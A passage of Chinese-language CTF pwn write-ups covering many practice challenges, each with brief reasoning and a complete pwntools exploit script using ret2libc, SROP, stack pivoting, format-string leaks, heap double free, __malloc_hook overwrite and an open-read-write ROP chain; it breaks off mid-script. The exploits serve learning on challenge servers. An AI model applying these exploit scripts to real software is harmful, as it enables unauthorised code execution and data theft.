更重要的是——泄露后第二次进函数的位置要在 v0 = sys_read(0, buf, 0x400uLL); 不然会影响栈平衡,第二次链子最前方要写/bin/sh

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from pwn import *

context(arch='amd64', os='linux', log_level='debug')

p = remote("node5.buuoj.cn",28869)

elf = ELF("./ciscn_s_3")

vuln = 0x4004ED
syscall = 0x400517
sigreturn = 0x4004DA

payload = b'/bin/sh\x00' * 2 + p64(vuln)

p.sendline(payload)
p.recv(0x20)
bin_sh = u64(p.recv(8)) - 0x110
print(hex(bin_sh))

sigframe = SigreturnFrame()
sigframe.rax = constants.SYS_execve
sigframe.rdi = bin_sh
sigframe.rsi = 0
sigframe.rdx = 0
sigframe.rip = syscall

payload = b'/bin/sh\x00' * 2
payload += p64(sigreturn) + p64(syscall) + bytes(sigframe)
p.sendline(payload)
p.interactive()

ez_pz_hackover_2016

关键在通过泄露的栈地址找到padding(从截断00一直覆盖完ebp),然后接上正确的栈返回地址到shellcode即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import *

p = remote("node5.buuoj.cn",27261)
context(arch='i386', os='linux',log_level='debug')

p.recvuntil(b'Yippie, lets crash: ')
leak = int(p.recv(10), 16)

padding = (0x3B-0x29) * b'A'
stack = leak - 0x1C
shellcode = asm(shellcraft.i386.linux.sh())

p.recvuntil(b'> ')
payload = b'crashme\x00' + padding + p32(stack) + shellcode
p.sendline(payload)

p.interactive()

wustctf2020_getshell

ret2text 入门题目

1
2
3
4
5
6
7
8
9
10
11
from pwn import *

p = remote("node5.buuoj.cn",28553)
context(arch='i386', os='linux',log_level='debug')

p.recvuntil(b"/_/ /_/\\_,_//_/ /_/ /_//_\\_\\ \n")
padding = (0x18 + 0x4) * b'A'
payload = padding + p32(0x08048524)
p.sendline(payload)

p.interactive()

jarvisoj_level3_x64

ret2csu + ret2libc

这里其实可以不用ret2csu,有一种很巧妙的机械码错位,比如:41 5E41 5F对应的是pop r14pop r155E 41 5F对应的就是pop rsi``pop r15,所以取41 5E41 5F前¼的地址,实现机械码错位即可改成自己想要的gadget

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from pwn import *
from LibcSearcher import LibcSearcher

p = remote("node5.buuoj.cn", 26138)
elf = ELF("./level3_x64")
context(arch='i386', os='linux', log_level='debug')

vulnerable_function = 0x4005E6
write_got = elf.got['write']
csu_pop = 0x00000000004006AA
csu = 0x0000000000400690
pop_rdi = 0x00000000004006b3

p.recvuntil(b"Input:\n")
# write(fd, buf, n);
payload = 0x88 * b"a" + p64(csu_pop) + p64(0) + p64(1) + p64(write_got) + p64(8) + p64(write_got) + p64(1) + p64(
csu) + 7 * p64(0) + p64(vulnerable_function)

p.sendline(payload)

write_addr = u64(p.recv(6).ljust(8, b'\x00'))
libc = LibcSearcher("write", write_addr)
offset = write_addr - libc.dump("write")

bin_sh_addr = offset + libc.dump("str_bin_sh")
system_addr = offset + libc.dump('system')

payload = 0x88 * b"a" + p64(pop_rdi) + p64(bin_sh_addr) + p64(system_addr)
p.sendlineafter(b"Input:\n", payload)

p.interactive()

pwnable_hacknote

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
from pwn import *

context(arch='i386', os='linux', log_level='debug')
p = remote('node5.buuoj.cn', 25051)
libc = ELF('./libc_32.so.6')


def add(size, content):
p.recvuntil(b'choice :')
p.sendline(str(1))
p.recvuntil(b'size :')
p.sendline(str(size))
p.recvuntil(b'Content :')
p.send(content)


def delete(idx):
p.recvuntil(b'choice :')
p.sendline(str(2))
p.recvuntil(b'Index :')
p.sendline(str(idx))


def show(idx):
p.recvuntil(b'choice :')
p.sendline(str(3))
p.recvuntil(b'Index :')
p.sendline(str(idx))


add(0x80, b'aaaa') #0
add(0x80, b'aaaa') #1
delete(0)

add(0x80, b'aaab') #2
show(2)
p.recvuntil(b'aaab')
libc_base = u32(p.recv(4)) - 0x1b07b0
print('libc_base', hex(libc_base))
system = libc_base + libc.sym['system'] #+0x3adb0
print('system', hex(system))

add(0x80, b'aaaa') #3
delete(2)
delete(3)
payload = p32(system) + b';sh\x00'
add(0x8, payload) #4
show(2)
p.interactive()

ACTF_2019_babystack

由于本地libc偏移与题目环境不一致,故先进行patchelf(glibc-all-in-one:./download 2.27-3ubuntu1_amd64

更换ld:

1
patchelf --set-interpreter ./ld-linux.so.2 ./pwn

更换libc:

1
patchelf --replace-needed libc.so.6 ./libc-2.27.so ./pwn

ldd pwn,libc在本地路径/lib/x86_64-linux-gnu/libc.so.6,后期会用这个libc中的putssystem等找偏移

然后关键在泄露puts_plt的时候p.sendafter(b'>', payload)这个地方,之前写p.sendlineafter(b'>', payload)的时候,用gdb调试,会发现栈上根本没写进retsystem这个函数执行ret2libc,说明前面传输数据的方法存在问题,所以写p.sendafter(b'>', payload)来泄露puts_plt

ACTF_2019_babystack1

sendlineafter在发送数据的时候会加上\n,而sendafter在发送数据的时候不会加上\n

可以写一个简单的程序测试,\n会到下一次输入

ACTF_2019_babystack2

然后到后面发现rsp距离数据存储的位置有一段距离,distance 0x7ffd4e7cabe8(第二次printf输出s的地址,即调用printf函数时rsi寄存器中的地址) 0x7ffd4e7cadb0(第一次leak的s地址)计算偏移,执行ret2libc

然后ret2libc的时候需要注意用两次ret做滑板,保持堆栈平衡

padding可以用""替代,既能当截断使用,又能做填充

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
from pwn import *

context(arch='amd64', os='linux', log_level='debug')
p = remote("node5.buuoj.cn",25043)
# p= process('./pwn')
elf = ELF('./pwn')
libc = ELF('./libc-2.27.so')
# gdb.attach(p)

start = 0x0000000000400800
pop_rdi = 0x0000000000400ad3
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
leave_ret = 0x0000000000400a18
ret = 0x0000000000400709

padding = str("224")
p.sendlineafter(b'How many bytes of your message?\n', padding)

p.recvuntil(b'at')
leak = int(p.recvline().decode().strip(), 16)
print(f'Leak address: {hex(leak)}')

# leak puts_plt
payload = p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(start)
payload = payload.ljust(0xD0, b'A')
payload += p64(leak - 0x8) + p64(leave_ret)
p.sendafter(b'>', payload)

# libc base
p.recvuntil(b'bye~\n')
puts_addr = u64(p.recv(6).ljust(8, b"\x00"))
print(f'PUT addr: {hex(puts_addr)}')
libc_base = puts_addr - libc.symbols['puts']
print(f'Libc base: {hex(libc_base)}')

# ret2libc
sleep(1)
p.sendlineafter(b'How many bytes of your message?\n', padding)
system = libc_base + libc.symbols['system']
bin_sh = libc_base + next(libc.search(b'/bin/sh\x00'))
payload = p64(ret)*2 + p64(pop_rdi) + p64(bin_sh) + p64(system)
payload = payload.ljust(0xD0, b'\x11')
payload += p64(leak-0x190-0x8) + p64(leave_ret)
p.sendlineafter(b'>', payload)

p.interactive()

wustctf2020_easyfast

题目chunk前0x10字节存放:prev_size(前8字节,仅在不是 PREV_INUSE 的情况下使用)+size(后8字节)

sub_4009D7()没有检查是否已经释放, 所以可以多次释放,存在double free漏洞

可以理解成chunk1在free第二次后会指向chunk2,此时的chunk1在chunk3的位置

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
from pwn import *

context(arch='amd64', os='linux', log_level='debug')
p = remote("node5.buuoj.cn", 27890)
# p = process('./pwn')
elf = ELF('./pwn')

# gdb.attach(p)

def add(size):
p.sendlineafter(b">", b"1")
p.sendlineafter(b"size>", str(size))


def free(idx):
p.sendlineafter(b">", b"2")
p.sendlineafter(b"index>", str(idx))


def edit(idx, content):
p.sendlineafter(b">", b"3")
p.sendlineafter(b"index>", str(idx))
p.sendline(content)


def backdoor():
p.sendlineafter(b">", b"4")


target = 0x602090

add(0x40) #这两个堆块的大小需要为0x50,所以申请0x40
add(0x40)
free(0)
free(1)
free(0)
payload = p64(target - 0x10)
edit(0, payload)
add(0x40)
add(0x40)
payload = p64(0)
edit(3, payload)

backdoor()

p.interactive()

[BJDCTF 2020]YDSneedGirlfriend

指针前8字节是函数指针指向print_name函数,后8字节是name字符串指针

[BJDCTF 2020]YDSneedGirlfriend
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
from pwn import *

p = remote("node5.buuoj.cn",29891)

context(arch='amd64', os='linux', log_level='debug')

backdoor = 0x0000000000400B9C


def add(size, name):
p.sendlineafter(b"Your choice :", str(1))
p.sendlineafter(b"Her name size is :", str(size))
p.sendlineafter(b"Her name is :", name)


def delete(idx):
p.sendlineafter(b"Your choice :", str(2))
p.sendlineafter(b"Index :", str(idx))


def show(idx):
p.sendlineafter(b"Your choice :", str(3))
p.sendlineafter(b"Index :", str(idx))


def exit():
p.sendlineafter(b"Your choice :", str(4))


add(0x10, "a")
add(0x20, "b")
delete(0)
delete(1)
add(0x10, p64(backdoor))
show(0)
p.interactive()

gyctf_2020_borrowstack

这个题很有意思的是bss和got表很接近,栈迁移的时候rsp抬栈就会覆盖got表(主要是调用puts时开辟栈帧,push大量数据到栈上,可能会覆盖掉got表),所以需要严格控制输入的大小,并且由于rsp被顶到不可写区域,故system也无法执行,只能通过one_gadget执行execve

需要注意的是满足one_gadget的条件,调试x /20gx $rsp栈上满足[rsp+0x50] == NULL,使用该ogg就行了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
from pwn import *

p = process("./gyctf_2020_borrowstack")
elf = ELF("./gyctf_2020_borrowstack")
libc = ELF('./libc-2.23.so')
context(arch='amd64', os='linux', log_level='debug')
# gdb.attach(p)
main = 0x400626
bss = 0x601080
second_read_addr = 0x400680
ret_addr = 0x04004c9
leave_ret = 0x400699
pop_rdi_ret = 0x400703
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']

payload = b'\x00' * 0x60 + p64(bss - 0x8 + 0x100 - 0x40) + p64(leave_ret)
p.sendafter(b"Tell me what you want", payload)

p.recvuntil(b"Done!You can check and use your borrow stack now!\n")
payload = b'\x00' * (0x100 - 0x40)
payload += p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(main)
p.send(payload)

leak = u64(p.recvuntil(b'\x7f')[-6:] + b'\x00\x00')
libcbase = leak - libc.symbols['puts']
one_gadget = 0xf02a4 # [rsp+0x50] == NULL
execve = libcbase + one_gadget
log.info('libcbase: ' + hex(libcbase))

bss_two = 0x601080
p.recvuntil(b'want')
p.send(b'D0g3')

payload = b'\x00' * 0x70
payload += p64(execve)
p.send(payload)

p.interactive()

wustctf2020_number_game

1
2
3
4
5
6
7
8
9
10
from pwn import *

p = remote("node5.buuoj.cn",28389)

context(arch='amd64', os='linux', log_level='debug')

p.sendline(b"-2147483648") # -2^31

p.interactive()

hitcontraining_magicheap

unlink漏洞,构造unsorted bin即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
from pwn import *

p = remote("node5.buuoj.cn",28951)

context(arch='amd64', os='linux', log_level='debug')

l33t = 0x0000000000400C50


def create(size, content):
p.sendlineafter(b":", str(1))
p.sendlineafter(b":", str(size))
p.sendlineafter(b":", (content))


def edit(idx, size, content):
p.sendlineafter(b":", str(2))
p.sendlineafter(b":", str(idx))
p.sendlineafter(b":", str(size))
p.sendlineafter(b":", content)


def delete(idx):
p.sendlineafter(b":", str(3))
p.sendlineafter(b":", str(idx))


def exit():
p.sendlineafter(b":", str(4))


create(0x30, 'aaaa') #0号堆块堆溢出时使用
create(0x80, 'bbbb')
create(0x10, 'cccc') #2号堆块防止1号堆块和topchunk合并
#gdb.attach(r)
delete(1)
magic_addr = 0x06020A0
edit(0, 0x50, 0x30 * b"a" + p64(0) + p64(0x91) + p64(0) + p64(magic_addr - 0x10)) #bk处magic-0x10是为了伪造成堆指针,从而伪造堆块
create(0x80, 'aaaa')
p.sendlineafter(b':', '4869')

p.interactive()

0ctf_2017_babyheap

依然是四个操作:增删改查,但这里"删"的时候,有将指针置零的操作,且calloc分配内存空间会初始化为零,故无法利用UAF

那这里我们如何去泄露libc然后劫持程序流到system("/bin/sh")呢,那我们知道释放的small/large chunk的fd/bk是指向main_arena的,我们可以想办法泄露small/large chunk的fd/bk,这里就要运用到chunk堆叠的思想

我们先通过堆溢出 (chunk 0) ,修改第二个释放的fast chunk (chunk 2) 的fd指针的末一个字节指向我申请的small chunk (chunk 4) 。然后再释放掉small chunk,使得这个small chunk会进入unsorted bin。我们这时再通过堆溢出 (chunk 3) ,修改unsorted bin的大小为0x21,这时候glibc就会把这个unsorted bin识别为fast bin,那我们将chunk 2和chunk 4申请回来,这时chunk 2就是chunk 4。修改具体可以参考下图

0ctf_2017_babyheap_1

这时候我们dump一下chunk 2,减去偏移就能得到libc的基地址和main_arena的地址

泄露完libc基地址与main_arena地址之后,我们在main_arena (libc数据段) 的malloc_hook附近寻找符合chunk模式 (见下图) 的地址,构造一个fake chunk,使其data段恰好位于为malloc hook。我们edit这个fake chunk,将malloc hook修改为one gadget,在下次任意alloc的时候便能get shell

chunk模式

为什么fake chunk的地址不是libc_base + 0x3c4af0,而是libc_base + 0x3c4afd,原因是需要符合chunk模式,这里调试看对应内存地址的内容便知

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
from pwn import *

context.log_level="debug"

url, port = "node5.buuoj.cn", 29076
filename = "./babyheap_0ctf_2017"
elf = ELF(filename)

debug = 0
if debug:
io = process(filename)
gdb.attach(io)
else:
io = remote(url, port)

def alloc(size):
io.sendlineafter(b"Command: ", b'1')
io.sendlineafter(b"Size: ", str(size))

def fill(idx, cont):
io.sendlineafter(b"Command: ", b'2')
io.sendlineafter(b"Index: ", str(idx))
io.sendlineafter(b"Size: ", str(len(cont)))
io.sendafter(b"Content: ", cont)

def free(idx):
io.sendlineafter(b"Command: ", b'3')
io.sendlineafter(b"Index: ", str(idx))

def dump(idx):
io.sendlineafter(b"Command: ", b'4')
io.sendlineafter(b"Index: ", str(idx))
io.recvuntil(b"Content: \n")
data = io.recvline()
return data


alloc(0x10)
alloc(0x10)
alloc(0x10)
alloc(0x10)
alloc(0x80)

free(1)
free(2)

payload = cyclic(16) + p64(0) + p64(0x21) + cyclic(16) + p64(0) + p64(0x21) + p8(0x80)
fill(0, payload)

payload = cyclic(16) + p64(0) + p64(0x21)
fill(3, payload)

alloc(0x10)
alloc(0x10)

payload = cyclic(16) + p64(0) + p64(0x91)
fill(3, payload)
alloc(0x80)

free(4)

main_arena_addr = u64(dump(2)[:8])
libc_base = main_arena_addr - 0x3c4b78
__malloc_hook_addr = libc_base + 0x00000000003c4b10
one_gadget_addr = libc_base + 0x4526a # 0x45216
log.info("main_arena_addr = 0x%x" % main_arena_addr)
log.info("libc_base = 0x%x" % libc_base)
log.info("__malloc_hook_addr = 0x%x" % __malloc_hook_addr)
log.info("one_gadget_addr = 0x%x" % one_gadget_addr)

alloc(0x60)
free(4)
payload = p64(libc_base + 0x3c4afd) # link fake chunk into fastbin
fill(2, payload)
alloc(0x60)
alloc(0x60)
payload = p8(0) * 3 + p64(one_gadget_addr) # change __malloc_hook
fill(6, payload)

alloc(0x900d) # call one_gaget

io.sendline(b"cat${IFS}flag")

io.interactive()

NSSCTF

[SWPUCTF 2021 新生赛]gift_pwn

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *

context.update(os="linux",arch="amd64",log_level="debug")

alexio = remote("node4.anna.nssctf.cn","28791")

payload = 24*b"A"+ p64(0x400673) + p64(0x4006A6) + p64(0x4005CE)#重温系统调用 rdi|ret + "binsh" + system

alexio.send(payload)

alexio.interactive()

[BJDCTF 2020]babystack

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *

context.update(os="linux",arch="amd64",log_level="debug")

alexio = remote("node4.anna.nssctf.cn","28679")
payload = 24*b"A" + p64(0x4006EA) + p64(0x4006EF)#0x4006EA是text段的mov edi, offset command ; "/bin/sh" 所以不需要在前面加pop某寄存器的地址

alexio.recvline("Please input the length of your name:\n")
alexio.sendline(b"-1")

alexio.sendline(payload)
alexio.interactive()

[CISCN 2019华北]PWN1

1
2
3
4
5
6
7
8
9
10
11
from pwn import *

context.update(os="linux",arch="amd64",log_level="debug")

alexio = remote("node4.anna.nssctf.cn","28553")
payload = cyclic(0x30-0x4)+p64(0x41348000)#ucomiss xmm0, cs:dword_4007F4这是用于比较两个单精度浮点数的指令,dword_4007F4里面是将十进制数转换为IEEE 754标准的单精度浮点得到的十六进制数

alexio.sendline(payload)
alexio.interactive()

#当然还可以ret2text覆盖之后自己构造语句实现cat /flag

[NISACTF 2022]ezstack

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *

context.update(os="linux",arch="amd64", log_level="debug")

alexio = remote("node5.anna.nssctf.cn","28857")
elf = ELF("./pwn")

system = elf.sym['system']
payload = cyclic(76)+p64(system)+p64(0x0804A024)#当程序调用system函数时,会自动去寻找栈底即ebp指向的位置,然后将ebp+8字节的位置的数据当作函数的参数,所以如果我们想将/bin/sh作为system函数的参数,就可以在栈溢出的时候,先修改eip为system函数的地址,然后填充4个字节的垃圾数据,再将/bin/sh的地址写入栈上,这样调用system函数的时候,就可以将/bin/sh作为参数,然后返回一个shell。(这是为什么可以在system后面补4个字节的原因
alexio.recvline()

alexio.send(payload)

alexio.interactive()

NewStarCTF2023

random

  • 考点:ctypes,pwntools

  • FLAG:动态FLAG

  • 解题步骤

利用ctypes库在python代码中调用c语言函数,可以与程序生成同样的伪随机数

创建一个名为 random1.c 的C语言源代码文件

1
2
3
4
5
6
7
8
9
10
11
#include <stdlib.h>
#include <time.h>

void set_seed() {
time_t seed = time(NULL);
srand(seed);
}

int random_number() {
return rand();
}

编译这个C语言源文件为一个动态链接库(.so文件)。

编译:

1
gcc -shared -o random1.so random1.c

本题exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
from pwn import *
import ctypes

# context.log_level = 'debug'

tob = lambda text: str(text).encode('utf-8')

# 加载动态链接库

lib = ctypes.CDLL('./random1.so')

# 由于题目是在"2$031"中随机组成system函数的参数,

# 推测当参数为$0、$1...时可以getshell,所以多次尝试

while 1:
try: # 使用try-except解决有时远程连接出错问题,其实不用也可以

# sh = process('./pwn')

sh = remote("node4.buuoj.cn", 28321)

# 设置函数返回类型为整数
lib.random_number.restype = ctypes.c_int

# 调用C语言的set_seed函数
lib.set_seed()

# 调用C语言的random_number函数
result = lib.random_number()

# 打印日志
log.success("result==" + hex(result))

# 发送我们的答案
sh.recvuntil(b"?\n")

sh.sendline(tob(result))

# 试探一下()
sh.sendline(b'ls')

answer = sh.recv(timeout = 3)

if b'sh' in answer: # 排除类似"sh: 1: 23: not found\n"的报错信息

sh.close()

elif b'Haha you are wrong' in answer: # 排除某些时候猜错数字,虽然概率较小

sh.close()

else:

# 剩下的应该就是有回显的getshell情况了

# sh.sendline(b'date -f flag')

sh.interactive()

except:

sh.close()


shellcode revenge

https://github.com/TaQini/alpha3

string.printable - 可见字符串shellcode

alpha3生成:

将shellcode重定向到一个文件中 切换到alpha3目录中,使用alpha3生成string.printable

1
2
cd alpha3
python ./ALPHA3.py x64 ascii mixedcase rax --input="存储shellcode的文件" > 输出文件

python手动:

打印满足过滤条件的三字符组合对应的汇编代码

1
2
3
4
5
6
7
8
9
10
from pwn import *
context.update(arch='amd64', os='linux')

a = '1234567890ABCDEF'
for i1 in a:
for i2 in a:
for i3 in a:
sc = f'{i1}{i2}{i3}'
print(disasm(sc.encode()))

手搓可见字符串shellcode参考

1
https://nets.ec/Alphanumeric_shellcode

NKCTF 2024

Maimai查分器

存在PIE和Canary保护

第一次send(b'1')进入sub_188C()函数,再输入50次 chart level 和 rank 。但不能2次使得 v5 = 15.0 否则程序会判断为非法输入从而终止。需要使计算后v6满足该条件 (int)v6 = dword_504C < dword_5010 在后面才能进 sub_1984(); 函数,所以对 v5 尽可能大地赋值,我这里赋值v5=1600000,同样对v7赋值使得return到的值尽可能大,当 v7 = "SSS+" 时最大

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
sub_188C(){
...
if ( v3 != 1 )
break;
sub_188C();
...
}

unsigned __int64 sub_188C()
{
...
for ( i = 0; i <= 49; ++i )
{
__isoc99_scanf("%lf %s", &v5, v7);
if ( v5 == 15.0 )
{
v0 = v3++;
if ( v0 == 2 )
{
puts("Invalid.");
}
}
sub_1633(v7);
v6 = v0 * v5 + v6;
}
dword_504C = (int)v6;
}

__int64 __fastcall sub_1633(const char *a1)
{
...
if ( !strcmp(a1, "SSS+") )
return 0x4036666666666666LL;
...
}

然后send(b'2')使得v3=2break循环,进入sub_19EA函数,printf(buf);存在格式化字符串漏洞,第一次先泄露__libc_start_call_main地址(这里是一个重点: **elf中的 _libc_start_call_main 函数作用是转移控制权到libc的 _libc_start_main函数**,因此, _libc_start_call_main 在ELF中的地址,相当于 _libc_start_main 在加载后libc库的地址)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3){
...
if ( v3 == 2 && v4 )
{
sub_19EA();
}
...
}

unsigned __int64 sub_19EA()
{
...
read(0, buf, 8uLL);
printf(buf);
printf(", your rating is: %d\n", (unsigned int)dword_504C);
if ( dword_504C < dword_5010 )
{
puts("I think you should play more maimai.");
exit(0);
}
sub_1984();
...
}

这是当时找libc基地址写的一次性泄露Canary PIE libc的部分脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
libc_str_values = {}
libc_values = {}

for i in range(50):
r.send(b"\n") # 返回sub_134F进行选择

r.sendlineafter(b"Select a option:\n", b"2")
r.recvuntil(b"Input your nickname.\n")
r.send(f"%{i}$p\n".encode())
libc_str_values[i] = r.recv(14).decode()

try:
libc_values[i] = int(libc_str_values[i], 16) if libc_str_values[i].startswith('0x') else 0
except ValueError:
libc_values[i] = 0

for i in range(50):
if libc_values[i]:
info(f"libc{i} value: {hex(libc_values[i])}")
else:
info(f"libc{i} value: No valid address leaked")

判断Canary PIE libc等泄露是否正确可以gdb.attach后在pwndbg输入对应命令查看(canary pie libc vmmap等)

找__libc_start_main address: 0x29dc0

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *

# 替换为你的目标ELF文件的路径
elf_path = './libc.so.6'

# 加载ELF文件
elf = ELF(elf_path)

# 检查__libc_start_main符号是否存在
if '__libc_start_main' in elf.symbols:
# 获取__libc_start_main的地址并打印
libc_start_main_addr = elf.symbols['__libc_start_main']
print(f"__libc_start_main address: {hex(libc_start_main_addr)}")
else:
print("__libc_start_main symbol not found in ELF.")

程序执行流程到sub_1984函数,这里看似能栈溢出,但是实则要绕过v2 = __readfsqword(0x28u);return v2 - __readfsqword(0x28u);Canary代码,前两次ropchain(100个字节超过read的buf了,即使没有Canary也不行)与ret2libc都卡在这里了(即使绕过Canary后ret2libc也不能读到flag,题目没给flag权限,还是要orw才行) 所以任意输入返回到main函数重新进行选择

1
2
3
4
5
6
7
8
9
10
11
12
13
unsigned __int64 sub_19EA()
{
...
sub_1984();
...
}

unsigned __int64 sub_1984()
{
v2 = __readfsqword(0x28u);
read(0, buf, 0x80uLL);
return v2 - __readfsqword(0x28u);
}

以同样的思路格式化字符串泄露Canary和栈的地址(栈地址第三位被切除,故第二个%np只要是同一页都行)

找gadgets进行orw

1
2
3
4
5
6
7
8
9
ROPgadget --binary=libc.so.6 | grep "ret"
ROPgadget --binary=libc.so.6 | grep "pop rdi ; ret"
ROPgadget --binary=libc.so.6 | grep "pop rsi ; ret"
ROPgadget --binary=libc.so.6 | grep "pop rdx ; pop r12 ; ret"

0x0000000000029139 : ret
0x000000000002a3e5 : pop rdi ; ret
0x000000000002be51 : pop rsi ; ret
0x000000000011f2e7 : pop rdx ; pop r12 ; ret

orw:

1
2
3
4
5
6
buf = stack_addr + 3 # 计算保存flag文件内容的缓冲区地址
orw = p64(rdi_ret) + p64(buf) + p64(rsi_ret) + p64(0) + p64(open) # 打开文件
orw += p64(rdi_ret) + p64(3) + p64(rsi_ret) + p64(buf - 0x50) + p64(rdx_r12) + p64(0x50) * 2 + p64(read_addr) # 读取文件
orw += p64(rdi_ret) + p64(1) + p64(write_addr) # 输出读取的内容
payload = b'flag\x00' # 截断
payload += p64(canary) + p64(0) + orw # 覆盖canary并覆盖原有的返回地址并执行orw

最后只给一次v5 == 15.0使得这个判断不成立if ( v1 == 2 ),往v7里面写rop链执行orw

完整exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
#!/usr/bin/env python
from pwn import *

context.update(arch='amd64', os='linux', log_level='debug')

p = remote('node.nkctf.yuzhian.com.cn', 30995)
elf = ELF('./pwn')
libc = ELF('./libc.so.6')

p.recvuntil(b'Select a option:\n')
p.sendline(b'1')
p.recvuntil(b'Input chart level and rank.')
for i in range(50):
p.sendline(b'1600000')
p.sendline(b'SSS+')

# elf 文件 __libc_start_call_main - libc 中 __libc_start_main
p.recvuntil(b'Select a option:\n')
p.sendline(b'2') # break
p.recvuntil(b'Input your nickname.')
p.send(b'%13$p')
p.recvuntil(b'0x')
libc_addr = int(p.recv(12), 16)
libc_base = libc_addr - 0x29d90 # libc 中 __libc_start_main=0x29d90
info(f"libc base value: {hex(libc_base)}")

p.recvuntil(b'Can you teach me how to play maimai?')
p.send(b'a')

p.recvuntil(b'Select a option:\n')
p.sendline(b'2')
p.recvuntil(b'Input your nickname.')
p.send(b'%7$p%33p')
# Canary; Stack_addr只要是同一页都能实现
p.recvuntil(b'0x')
canary = int(p.recv(16), 16)
info(f"Canary value: {hex(canary)}")
p.recvuntil(b'0x')
stack_addr = int(p.recv(12), 16)
info(f"Stack addr: {hex(stack_addr)}")
p.send(b'a')

# orw
ret = libc_base + 0x0000000000029139
rdi_ret = libc_base + 0x000000000002a3e5
rsi_ret = libc_base + 0x000000000002be51
rdx_r12 = libc_base + 0x000000000011f2e7
system = libc_base + libc.sym['system']
open = libc_base + libc.sym['open']
write_addr = libc_base + libc.sym['write']
read_addr = libc_base + libc.sym['read']
str_bin_sh = libc_base + next(libc.search(b'/bin/sh'))

buf = stack_addr + 3
orw = p64(rdi_ret) + p64(buf) + p64(rsi_ret) + p64(0) + p64(open)
orw += p64(rdi_ret) + p64(3) + p64(rsi_ret) + p64(buf - 0x50) + p64(rdx_r12) + p64(0x50) * 2 + p64(read_addr)
orw += p64(rdi_ret) + p64(1) + p64(write_addr)

payload = b'flag\x00'
payload += p64(canary) + p64(0) + orw

p.recvuntil(b'Select')
p.sendline(b'1')
p.recvuntil(b'Input')

for i in range(49):
p.sendline(b'1600000')
p.sendline(b'SSS+')

p.sendline(b'15.0')
p.sendline(payload)
p.interactive()

青少年CTF练习平台

简单的数学题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *

context(arch='amd64', os='Linux', log_level='debug')

p = remote('challenge.qsnctf.com',32694)

p.recvuntil(b"x.\n")
p.sendline(b"8")

p.recvuntil(b"sign.\n")
p.sendline(b"9")

p.recvuntil(b"x.\n")
p.sendline(b"19")

p.interactive()

2024春秋杯网络安全联赛夏季赛

stdout

第一次read_plt过的是csu_head的call函数,第二次read_plt进行缓冲区溢出,puts打印出bss段上的puts_got地址,然后ret2libc即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
from pwn import *

p = process('./pwn')
elf = ELF('./pwn')
context(arch='amd64', os='linux', log_level='debug')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

bss = 0x404200
start = 0x401130
vuln = 0x40125D
pop_rdi = 0x00000000004013d3
pop_rsi_r15 = 0x4013D1
ret = 0x40101a
puts_plt = elf.plt['puts']
read_plt = elf.plt['read']
puts_got = elf.got['puts']
csu_head = 0x4013B0
csu_rear = 0x4013CA

payload = b'\x00' * (0x50 + 0x8) + p64(vuln)
p.send(payload)

payload = b'\x00' * (0x20 + 0x8) + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(start)
p.send(payload)

payload = b'\x00' * (0x50 + 0x8) + p64(vuln)
p.send(payload)

